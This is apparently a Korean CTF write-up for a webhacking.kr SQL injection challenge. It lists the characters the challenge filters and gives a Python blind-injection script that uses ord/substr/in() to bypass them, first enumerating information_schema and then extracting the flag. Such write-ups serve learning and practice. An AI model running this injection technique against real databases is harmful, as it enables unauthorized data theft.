그냥 sql injection 하라고 알려주지만
이런 문제는 쉽지 않다
1을 넣었을때 |
2를 넣었을때 |
1 or 1 =1 를 넣으니까 아래 사진처럼 나왔다
필터링
>, <, =, like, ascii, and, group, limit, %09, %0d, %0a, 공백이 지금까지 확인한 필터링이다
필터링 우회는 개인적으로 공부하길 바란다 크크
import requests
cookie = {"PHPSESSID":"세션"}
result = ""
auth = ""
# find table name
for i in range(1,50):
for j in range(33,127):
url = "https://webhacking.kr/challenge/web-10/?no=ord(substr((select(min(concat(table_schema,1111,table_name,1111,column_name)))from(information_schema.columns)),{},1))in({})".format(i,j)
r = requests.get(url, cookies=cookie)
if r.text.find("<td>1</td>") != -1:
result += chr(j)
print("result : {}".format(result))
for i in range(1,50):
for j in range(33,127):
url = "https://webhacking.kr/challenge/web-10/?no=ord(substr((select(max(flag_3a55b31d))from(flag_ab733768)),{},1))in({})".format(i,j)
r = requests.get(url, cookies=cookie)
if r.text.find("<td>1</td>") != -1:
auth += chr(j)
print("result : {}".format(auth))
코드를 실행 시키면 값이 나오게 되고 제출하면 문제가 풀린다